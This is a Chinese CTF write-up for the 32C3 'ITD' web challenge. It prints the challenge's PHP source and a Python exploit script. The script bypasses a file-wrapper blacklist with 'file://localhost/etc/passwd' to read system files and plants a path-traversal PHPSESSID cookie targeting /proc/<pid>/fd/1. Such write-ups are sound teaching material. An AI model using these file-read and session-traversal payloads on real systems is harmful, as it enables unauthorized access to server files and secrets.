美文网首页CTF
[32c3](web)ITD

[32c3](web)ITD

作者: 王一航 | 来源:发表于2017-08-27 10:21 被阅读193次

进入主页被重定向到 /posts 路径下


image.png

发现好像是一个博客 , 点击其中一篇文章 :


image.png

url 为 :

http://host:port/posts/?p=One%20Day

猜测可能是注入或者文件包含

image.png
尝试访问 /posts/One%20Day 这个文件 , 发现确实是文件包含
猜测后台逻辑为 :
echo file_get_contents($_GET['p']);

修改参数 p 为 index.php 发现可以读到 /posts/index.php 的源码


image.png

/posts/index.php

<?php
function filter($v){
  $w = array('<','>','\.\.','^/+.*','file:///','php://','data://','zip://','ftp://','phar://','zlib://','glob://','expect://');
  $w = implode('|',$w);
  if(preg_match('#' . $w . '#i',$v) !== 0){
    die("Die, Die My Darling");
    exit();
  }
  return $v;
}

function disable_wrappers(){
    $wrappers=array("php","http","https","ftp","ftps","compress.zlib","compress.bzip2","zip","glob","data");
    foreach($wrappers as $v){
    stream_wrapper_unregister($v);
    }
}
function get_posts(){
    $dir=scandir(".");
    $dir = array_filter(scandir('.'), function($item) {
        return !is_dir('./' . $item);
    });
    $posts=array();
    foreach($dir as $v){
      if($v!=="." && $v!==".." && (strpos($v,'.php')===false)){
        $posts[]=array($v,substr(file_get_contents("$v"),0,100));
      }
    }
    return $posts;
}

function get_post($name){
    disable_wrappers();
    return array($name,@file_get_contents(filter($name)));
  } 

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Guess Or Tricks</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css" media="all">
@import "images/style.css";
</style>
</head>
<body>
<div class="content">
  <div class="toph"></div>
  <div class="center">
  <h1>Blog</h1>
    <?php
      if(!@$_GET['p']){
        foreach(get_posts() as $v){
          echo '
            <h2><a href="?p='.$v[0].'">'.$v[0].'</a></h2>
            '.$v[1].'
            <p class="date">![](images/more.gif) <a href="?p='.$v[0].'">Read more</a> ![](images/comment.gif) ![](images/timeicon.gif) 21.02.</p>
            <br />
          ';
        }
      }elseif($v=get_post(@$_GET['p'])){
        echo '
            <h2>'.$v[0].'</h2>
            '.$v[1].'
            <p class="date">![](images/more.gif) <a href="./">Back</a> </p>
            <br />
          ';
      }
    ?>
  </div>
  <div class="footer"></div>
</div>
</body>
</html>
image.png image.png

根据读取到代码进行代码审计发现 , 对参数 p 的过滤很严格
但是注意到对 file 协议的过滤是黑名单是这样的 :

file:///

也就是说 , 禁止使用 file 协议直接从文件系统根目录读取文件
这种方式是可以绕过的

file://localhost/etc/passwd

这样就可以绕过对 file 协议的过滤 , 从而达到任意文件读取的效果

image.png image.png image.png

继续读取网站源码

<p>Welcome back Master!</p><br/><?php
require_once 'sess.php';
require_once '../load.php';

if(isset($_GET['lang']) and (is_string($_GET['lang']))){
  $_SESSION['lang'] = filter($_GET['lang']);
}
if(isset($_GET['act']) and (is_string($_GET['act']))){
  $act = $_GET['act'];
  if ($act === 'get'){
    if(isset($_GET['key']) and (is_string($_GET['key']))){
      $key = $_GET['key'];
      $ret = shell_exec('./main ' . md5($key));
      if(preg_match('/LOOSE/',$ret))
        echo "You lost, All Roads They Lead To Shame :> ";
      else {
        echo "Hello, it's flag: ";
        echo shell_exec('./get');
        exit();
      }
    }
  }
}
?>
<form action=''>
<input name='key' placeholder='key'/>
<input name='act' value='get' type='hidden' />
<input type='submit' value='STRONG Auth ' />

</form>
image.png image.png

存在 sess.php
这里开发者重写了对 session 的处理逻辑

<?php
class FileSessionHandler
{
    public $savePath;

    function open($savePath, $sessionName)
    {
        $this->savePath = $savePath;
        if (!is_dir($this->savePath)) {
            mkdir($this->savePath, 0777);
        }

        return true;
    }

    function close()
    {
        return true;
    }

    function read($id)
    {
        return (string)@file_get_contents("$this->savePath/sess_$id");
    }

    function write($id, $data)
    {
    // 这里将 session 数据保存在了文件中 , 但是保存的路径是用户可控的 , 即 cookie 中的 PHPSESSID
    return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
    }

    function destroy($id)
    {
        $file = "$this->savePath/sess_$id";
        if (file_exists($file)) {
            unlink($file);
        }

        return true;
    }

    function gc($maxlifetime)
    {
        foreach (glob("$this->savePath/sess_*") as $file) {
            if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
                unlink($file);
            }
        }

        return true;
    }
}

$handler = new FileSessionHandler();
session_set_save_handler(
    array($handler, 'open'),
    array($handler, 'close'),
    array($handler, 'read'),
    array($handler, 'write'),
    array($handler, 'destroy'),
    array($handler, 'gc')
    );

// the following prevents unexpected effects when using objects as save handlers
register_shutdown_function('session_write_close');

session_start();

这里其实是存在一个写任意文件的漏洞的 , 事实上这并不能算是一个写任意文件的漏洞 , 因为写入的文件内容部分不可控
再分析一下如何获取 flag

/2333Admin/

<p>Welcome back Master!</p><br/><?php
require_once 'sess.php';
require_once '../load.php';

if(isset($_GET['lang']) and (is_string($_GET['lang']))){
  $_SESSION['lang'] = filter($_GET['lang']);
}
if(isset($_GET['act']) and (is_string($_GET['act']))){
  $act = $_GET['act'];
  if ($act === 'get'){
    if(isset($_GET['key']) and (is_string($_GET['key']))){
      $key = $_GET['key'];
      $ret = shell_exec('echo $$ && ./main ' . md5($key));
      echo $ret;
      if(preg_match('/LOOSE/',$ret))
        echo "You lost, All Roads They Lead To Shame :> ";
      else {
        echo "Hello, it's flag: ";
        echo shell_exec('./get');
        exit();
      }
    }
  }
}
?>
<form action=''>
<input name='key' placeholder='key'/>
<input name='act' value='get' type='hidden' />
<input type='submit' value='STRONG Auth ' />

</form>

这里调用了 shell_exec 来执行系统命令 , 并检测 shell_exec 输出的结果
如果其中存在 LOOSE 的字符串则就直接 die
我们要获取到 flag , 就必须得让下面的分支不成立 :

if(preg_match('/LOOSE/',$ret))

刚好我们之前发现了开发者自定义 session 的处理逻辑中的任意文件写漏洞
这样我们就可以利用这个漏洞将 shell_exec 的返回值给覆盖掉
这样 , 条件就不会成立 , 那么我们就可以拿到 flag 了

假设在调用 ./main 这个函数的时候 , shell_exec 产生的新的 pid 为 $pid
所以我们需要控制写文件覆盖掉下面的文件

/proc/$pid/fd/1

所以我们需要控制 Cookie 中的 PHPSESSID 来覆盖掉这个文件
但是有一个问题就是如何获取这里的 pid
我们可以首先通过读取 /proc/loadavg 这个文件来拿到目前操作系统最大的 pid
因为 pid 总是递增的
对 pid 进行递增爆破即可

下面给出一个利用脚本

#!/usr/bin/env python

import requests
from multiprocessing import Process, Queue

host = "127.0.0.1"
port = "80"

def read_file(path):
    url = "http://%s:%s/posts/index.php?p=file://localhost%s" % (host, port, path)
    return requests.get(url).content.split("</h2>\n            ")[1].split('\n\n            <p class="date">')[0]

def get_pid():
    content = read_file("/proc/loadavg")
    data = content.split(" ")
    return int(data[-1])

def guess():
    url = "http://%s:%s/2333Admin/index.php" % (host, port)
    params = {
        "act":"get",
        "key":"flag"
    }
    response = requests.get(url, params=params)
    content = response.content
    if "You lost, All Roads They Lead To Shame" in content:
        print "[-] Failed!"
    else:
        print content
        exit()

def session_start(pid):
    print "=" * 0x20
    url = "http://%s:%s/2333Admin/index.php" % (host, port)
    params = {
        "lang":"lang",
    }
    cookies = {
        "PHPSESSID":"/../../../../../../../../proc/%d/fd/1" % (pid)
    }
    response = requests.get(url, params=params, cookies=cookies)
    content = response.content

def main():
    for i in range(0x20):
        print "[+] Getting pid..."
        pid = get_pid()
        print "[+] Pid : [%d]" % (pid)

        processes = []
        for j in range(0x10):
            processes.append(Process(target=guess))

        processes.append(Process(target=session_start, args=(pid + 8,)))

        for process in processes:
            process.start()

        for process in processes:
            process.join()

if __name__ == "__main__":
    main()
image.png

相关文章

网友评论

  • 891c878c3695:请问这个题的源码在哪下载呀?
    891c878c3695: @王一航 谢谢
    王一航:@王一航 暂时只有这个
    王一航:https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web/itd-150

本文标题:[32c3](web)ITD

本文链接:https://www.haomeiwen.com/subject/ngosdxtx.html